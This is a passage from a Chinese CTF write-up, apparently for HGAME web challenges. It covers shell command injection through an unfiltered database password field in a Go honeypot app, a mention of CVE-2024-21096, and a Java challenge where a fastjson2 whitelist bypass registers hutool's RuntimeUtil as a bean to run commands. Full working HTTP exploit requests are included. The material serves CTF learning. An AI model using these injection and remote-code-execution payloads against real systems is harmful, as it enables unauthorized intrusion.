return reg.ReplaceAllString(input, "")
}
func searchTableData(c *gin.Context) {
dbName := c.Query("database")
tableName := c.Query("table")
keyword := c.Query("keyword")
page := c.DefaultQuery("page", "1")
size := c.DefaultQuery("size", "10")

if dbName == "" || tableName == "" {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Database and table names are required",
})
return
}

manager.mu.Lock()
defer manager.mu.Unlock()

if manager.db == nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "No active connection",
})
return
}

if _, err := manager.db.Exec(fmt.Sprintf("USE `%s`", dbName)); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to switch database: " + err.Error(),
})
return
}

columns, err := getTableColumns(manager.db, tableName)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to get table structure: " + err.Error(),
})
return
}

var whereClause string
var args []interface{}
if keyword != "" {
var conditions []string
for _, col := range columns {
conditions = append(conditions, fmt.Sprintf("`%s` LIKE ?", col))
args = append(args, "%"+keyword+"%")
}
whereClause = " WHERE " + strings.Join(conditions, " OR ")
}

var total int
countQuery := fmt.Sprintf("SELECT COUNT(*) FROM `%s`%s", tableName, whereClause)
if err := manager.db.QueryRow(countQuery, args...).Scan(&total); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to get total count: " + err.Error(),
})
return
}

pageNum, _ := strconv.Atoi(page)
pageSize, _ := strconv.Atoi(size)
offset := (pageNum - 1) * pageSize

query := fmt.Sprintf("SELECT * FROM `%s`%s LIMIT ? OFFSET ?", tableName, whereClause)
args = append(args, pageSize, offset)

rows, err := manager.db.Query(query, args...)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to fetch data: " + err.Error(),
})
return
}
defer rows.Close()

var results []map[string]interface{}
for rows.Next() {
values := make([]interface{}, len(columns))
valuePtrs := make([]interface{}, len(columns))
for i := range columns {
valuePtrs[i] = &values[i]
}

if err := rows.Scan(valuePtrs...); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to scan row: " + err.Error(),
})
return
}

row := make(map[string]interface{})
for i, col := range columns {
val := values[i]
if b, ok := val.([]byte); ok {
row[col] = string(b)
} else {
row[col] = val
}
}
results = append(results, row)
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"data": gin.H{
"records": results,
"total": total,
},
})
}
func validateImportConfig(config ImportConfig) error {
if config.RemoteHost == "" ||
config.RemoteUsername == "" ||
config.RemoteDatabase == "" ||
config.LocalDatabase == "" {
return fmt.Errorf("missing required fields")
}

if match, _ := regexp.MatchString(`^[a-zA-Z0-9\.\-]+$`, config.RemoteHost); !match {
return fmt.Errorf("invalid remote host")
}

if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteUsername); !match {
return fmt.Errorf("invalid remote username")
}

if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteDatabase); !match {
return fmt.Errorf("invalid remote database name")
}

if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.LocalDatabase); !match {
return fmt.Errorf("invalid local database name")
}

return nil
}

关注到ImportData函数中有命令执行并且是将传⼊的参数拼接进⼊字符串作为shell命令执行,虽然validateImportConfig函数中对很多参数都进行了过滤,但是对RemotePassword并没有进行过滤

所以poc如下(这道题没得复现环境,所以直接放官方的poc了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /api/import HTTP/1.1
Host: node1.hgame.vidar.club:30700
User-Agent: Apifox/1.0.0 (https://apifox.com)
Content-Type: application/json
Accept: */*
Host: node1.hgame.vidar.club:30700
Connection: keep-alive

{
"remote_host": "8.154.18.17",
"remote_port": "3306",
"remote_username": "root",
"remote_password": "; /writeflag ;#",
"remote_database": "mydb",
"local_database": "aaa"
}

命令注⼊完成之后,访问 /flag 即可获得flag

Level 21096 HoneyPot_Revenge

#CVE-2024-21096

修复了上面的一个非预期解,对RemotePassword也进行了过滤

image-20251231140554294

这道题是一个ndayCVE-2024-21096,一个未授权读取

https://nvd.nist.gov/vuln/detail/cve-2024-21096

先放着吧,暂时还没看懂

Level 60 SignInJava

#java反射白名单绕过

先看控制器代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package icu.Liki4.signin.controller;

import ch.qos.logback.classic.encoder.JsonEncoder;
import cn.hutool.core.util.StrUtil;
import com.alibaba.fastjson2.JSON;
import icu.Liki4.signin.base.BaseResponse;
import icu.Liki4.signin.util.InvokeUtils;
import jakarta.servlet.http.HttpServletRequest;
import java.util.Map;
import java.util.Objects;
import org.apache.commons.io.IOUtils;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;

@RequestMapping({"/api"})
@Controller
/* loaded from: SigninJava.jar:BOOT-INF/classes/icu/Liki4/signin/controller/APIGatewayController.class */
public class APIGatewayController {
@RequestMapping(value = {"/gateway"}, method = {RequestMethod.POST})
@ResponseBody
public BaseResponse doPost(HttpServletRequest request) throws Exception {
try {
String body = IOUtils.toString(request.getReader());
Map<String, Object> map = (Map) JSON.parseObject(body, Map.class);
String beanName = (String) map.get("beanName");
String methodName = (String) map.get(JsonEncoder.METHOD_NAME_ATTR_NAME);
Map<String, Object> params = (Map) map.get("params");
if (StrUtil.containsAnyIgnoreCase(beanName, "flag")) {
return new BaseResponse(403, "flagTestService offline", null);
}
Object result = InvokeUtils.invokeBeanMethod(beanName, methodName, params);
return new BaseResponse(200, null, result);
} catch (Exception e) {
return new BaseResponse(500, ((Throwable) Objects.requireNonNullElse(e.getCause(), e)).getMessage(), null);
}
}
}

读取请求中的请求体字符串并进行json解析成Map,然后获取bean名和METHOD_NAME_ATTR_NAME值以及params参数,这个值实际上就是methodName方法名

image-20251231141648127

并且检测bean类名不能是flag,随后反射调用方法,跟进看看invokeBeanMethod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static Object invokeBeanMethod(String beanName, String methodName, Map<String, Object> params) throws Exception {
Object beanObject = SpringContextHolder.getBean(beanName);
Method beanMethod = (Method) Arrays.stream(beanObject.getClass().getMethods()).filter(method -> {
return method.getName().equals(methodName);
}).findFirst().orElse(null);
if (beanMethod.getParameterCount() == 0) {
return beanMethod.invoke(beanObject, new Object[0]);
}
String[] parameterTypes = new String[beanMethod.getParameterCount()];
Object[] parameterArgs = new Object[beanMethod.getParameterCount()];
for (int i = 0; i < beanMethod.getParameters().length; i++) {
Class<?> parameterType = beanMethod.getParameterTypes()[i];
String parameterName = beanMethod.getParameters()[i].getName();
parameterTypes[i] = parameterType.getName();
if (!parameterType.isPrimitive() && !Date.class.equals(parameterType) && !Long.class.equals(parameterType) && !Integer.class.equals(parameterType) && !Boolean.class.equals(parameterType) && !Double.class.equals(parameterType) && !Float.class.equals(parameterType) && !Short.class.equals(parameterType) && !Byte.class.equals(parameterType) && !Character.class.equals(parameterType) && !String.class.equals(parameterType) && !List.class.equals(parameterType) && !Set.class.equals(parameterType) && !Map.class.equals(parameterType)) {
if (params.containsKey(parameterName)) {
parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params.get(parameterName)), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);
} else {
try {
parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);
} catch (JSONException e) {
for (Map.Entry<String, Object> entry : params.entrySet()) {
Object value = entry.getValue();
if ((value instanceof String) && ((String) value).contains("\"")) {
params.put(entry.getKey(), JSON.parse((String) value));
}
}
parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);
}
}
} else {
parameterArgs[i] = params.getOrDefault(parameterName, null);
}
}
return beanMethod.invoke(beanObject, parameterArgs);
}

一个正常的无参有参函数的反射调用器

但是这里写了一个过滤器

1
2
3
4
5
6
7
8
9
10
@Lazy
private static final Filter autoTypeFilter = JSONReader.autoTypeFilter((String[]) ((Set) Arrays.stream(SpringContextHolder.getApplicationContext().getBeanDefinitionNames()).map(name -> {
int secondDotIndex = name.indexOf(46, name.indexOf(46) + 1);
if (secondDotIndex != -1) {
return name.substring(0, secondDotIndex + 1);
}
return null;
}).filter((v0) -> {
return Objects.nonNull(v0);
}).collect(Collectors.toSet())).toArray(new String[0]));

设置了一个白名单,并且在JSON反序列化参数内容并获取方法参数的时候用到了这个过滤器

image-20251231145033494

但是我们并不知道这里的白名单是什么,本地启动一下看看吧

image-20251231152509196

可以看到这些就是白名单了

1
2
3
4
5
6
7
8
9
10
11
12
13
spring.jmx-org.
spring.sql.
server-org.springframework.
spring.servlet.
cn.hutool.
spring.lifecycle-org.
spring.info-org.
spring.web-org.
org.springframework.
spring.ssl-org.
spring.mvc-org.
spring.task.
spring.jackson-org.

那么这里的话可以用到hutool中的RuntimeUtil,里面封装了JDK的Process类用于执行命令行命令

https://plus.hutool.cn/pages/9593de/

那我们可以用cn.hutool.extra.spring.SpringUtil#registerBean方法注册一个RuntimeUtil

1
2
3
4
5
public static <T> void registerBean(String beanName, T bean) {
ConfigurableListableBeanFactory factory = getConfigurableBeanFactory();
factory.autowireBean(bean);
factory.registerSingleton(beanName, bean);
}

然后调用execForStr执行命令

1
2
3
4
5
6
7
public static String execForStr(String... cmds) throws IORuntimeException {
return execForStr(CharsetUtil.systemCharset(), cmds);
}

public static String execForStr(Charset charset, String... cmds) throws IORuntimeException {
return getResult(exec(cmds), charset);
}

所以最后的poc是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /api/gateway HTTP/1.1
Host: hgame.vidar.club:30213
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Content-Type: application/json
Content-Length: 155

{
"beanName": "cn.hutool.extra.spring.SpringUtil",
"methodName": "registerBean",
"params": {
"arg0": "execPOC",
"arg1": {
"@type": "cn.hutool.core.util.RuntimeUtil"
}
}
}

然后执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/gateway HTTP/1.1
Host: hgame.vidar.club:30213
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Content-Type: application/json
Content-Length: 92

{"beanName":"execPOC","methodName":"execForStr","params":{"arg0":"utf-8","arg1":["whoami"]}}

image-20251231144441878

然后执行根目录下的readflag程序就能拿到flag了

-------------本文结束感谢您的阅读-------------